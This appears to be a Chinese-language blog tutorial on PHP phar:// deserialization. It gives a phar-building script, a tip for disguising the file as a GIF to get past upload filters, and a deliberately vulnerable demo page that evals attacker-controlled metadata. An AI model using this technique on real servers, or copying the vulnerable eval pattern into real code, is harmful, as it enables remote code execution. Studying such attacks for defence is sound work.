Phar://反序列化总结

Phar文件介绍

什么是 phar 文件

phar 是 PHP 文件的一种打包格式,可以将 PHP 代码文件和其他资源文件(JS、CSS等)打包成一个文件进行分发。可以简单理解为类似于 rar 压缩包。参考资料

phar文件格式

phar文件格式

1.a stub

存根。是一个php文件,<?php __HALT_COMPILER(); 是一个最小的存根。

其中存根前面可以为任何内容,但必须以__HALT_COMPILER(); 结尾,同时__HALT_COMPILER();也是PHP来识别一个文件是否为phar文件的关键,而无需在意文件的后缀名是否为 .phar ,所以我们可以在phar文件首加入GIF89a ,同时将文件后缀名更改为.gif来将文件伪装成为一个图片文件来绕过上传。

2.a manifest describing the contents

a manifest describing the contents

清单。因为phar文件是压缩文件,这其中便存储这文件的权限和属性等信息。同时还用户自定义的Meta-data数据序列化后存储到其中。正因如此,这里就是攻击点之一。

3.the file contents

文件内容。归档中包含的原始文件。

4.[optional] a signature for verifying Phar integrity (phar file format only)

[可选]验证Phar完整性的签名(只适用于Phar文件格式)

利用PHP生成一个phar文件

下面这个demo程序展示了如何使用PHP生成一个phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class a
{
var $file = "phpinfo();";
}
@unlink("hello.phar");
$test = new a();
$phar = new Phar("hello.phar"); //定义phar文件的文件名
$phar->startBuffering();// 启动缓冲Phar写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置存根,即设置a stub的内容
// 增加gif文件头
/* $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); */
$phar->setMetadata($test); //设置phar归档元数据
$phar->addFromString("test.txt","test"); //以字符串的形式添加一个文件到 phar 档案
$phar->stopBuffering(); //停止缓冲对Phar归档文件的写请求,并将更改保存到磁盘

PHP流的概念

我们可以把流比作管道,把水(资源数据)从一个地方引到另一个地方。在水从出发地到目的地的过程中,我们可以过滤水,可以改变水质,可以添加水,也可以排出水。参考资料

PHP 标准输入输出

PHP是如何从命理行获取输入的内容的,其中用到的就是php输入流php://stdin 。下面这个demo程序展示了如何使用PHP输入输出流来进行标准输入输出

1
2
3
4
5
6
7
<?php
$in = fopen("php://stdin", "r");
$str = fgets($in);
$out = fopen("php://stdout","w");
fwrite($out,$str);
fclose($in);
fclose($out);

其中 phar:// 协议的作用是将压缩包内的文件进行解析

phar:// 反序列化漏洞利用

在 phar://反序列化漏洞之前,想要触发反序列化漏洞必须要有这两点

  1. unserailize()函数
  2. unserailize()函数的参数可控

只有满足这两点,才有可能利用反序列化漏洞

但 phar://反向序列化漏洞使得利用反序列化漏洞的利用条件变为

  1. phar文件能被上传到服务器
  2. 有文件操作函数且参数可控(这里可利用的函数远不止文件操作类函数)参考资料
  3. phar://未被过滤

这几点就大大的拓展了反序列化漏洞的攻击面。

文件操作函数中的参数可控时,且 phar:// 未被过滤,在利用 phar:// 协议操作 phar 文件时,phar 文件 mete-data 数据就会自动进行反序列化。

简单演示

先使用下列程序(1.php)生成一个 hello.phar 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class a
{
var $file = "phpinfo();";
}
@unlink("hello.phar");
$test = new a();
$phar = new Phar("hello.phar"); //定义phar文件的文件名
$phar->startBuffering();// 启动缓冲Phar写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置存根,即设置a stub的内容
// 增加gif文件头
/* $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); */
$phar->setMetadata($test); //设置phar归档元数据
$phar->addFromString("test.txt","test"); //以字符串的形式添加一个文件到 phar 档案
$phar->stopBuffering(); //停止缓冲对Phar归档文件的写请求,并将更改保存到磁盘

下面是受攻击的 2.php 文件内容

1
2
3
4
5
6
7
8
9
10
11
<?php
$test = $_GET['test'];

class a{
var $file;
function __destruct(){
eval($this->file);
}
}

file_get_contents($test);

接下来访问 2.php 文件,得到以下结果

结果

原理方面的东西涉及PHP的底层,由于自己太菜,看不懂底层的东西…所以就总结下这个漏洞该这么利用吧。

参考链接

一篇文章带你深入理解漏洞之 PHP 反序列化漏洞)

php归档格式:phar文件详解(创建、使用、解包还原提取)

最佳实践系列(十):PHP 统一资源处理 API —— 流(Stream)的概述与使用详解

Phar与Stream Wrapper造成PHP RCE的深入挖掘

利用 phar 拓展 php 反序列化漏洞攻击面